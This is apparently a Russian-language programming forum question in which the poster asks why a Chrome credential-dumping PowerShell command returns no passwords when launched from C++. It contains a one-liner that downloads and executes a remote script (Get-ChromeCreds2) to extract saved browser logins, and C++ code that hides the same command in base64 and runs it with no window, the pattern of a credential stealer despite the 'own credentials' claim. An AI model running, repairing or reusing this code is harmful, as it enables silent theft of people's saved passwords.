Я тестирую и использую эту команду для сброса моих собственных Chrome учетных данных.
powershell.exe "iex (iwr https://raw.githubusercontent.com/kerrymilan/Get-ChromeCreds2/master/Get-ChromeCreds2.ps1);" > out.txt
Это работает, но если это выполняется в C ++ Windows функции CreateProcess, результат будет таким
Url Username
---- ---------
www.example.com tes...
И никаких паролей. Почему это происходит?
Вот функция C ++
std::string test()
{
STARTUPINFO sinfo;
std::string script = b64decode("cG93ZXJzaGVsbC5leGUgImlleCAoaXdyIGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9rZXJyeW1pbGFuL0dldC1DaHJvbWVDcmVkczIvbWFzdGVyL0dldC1DaHJvbWVDcmVkczIucHMxKTsiID4gb3V0LnR4dAo=");
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
if(CreateProcess(NULL, (LPSTR)script.c_str(), NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo)){
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
}
return readFileContents("out.txt");
}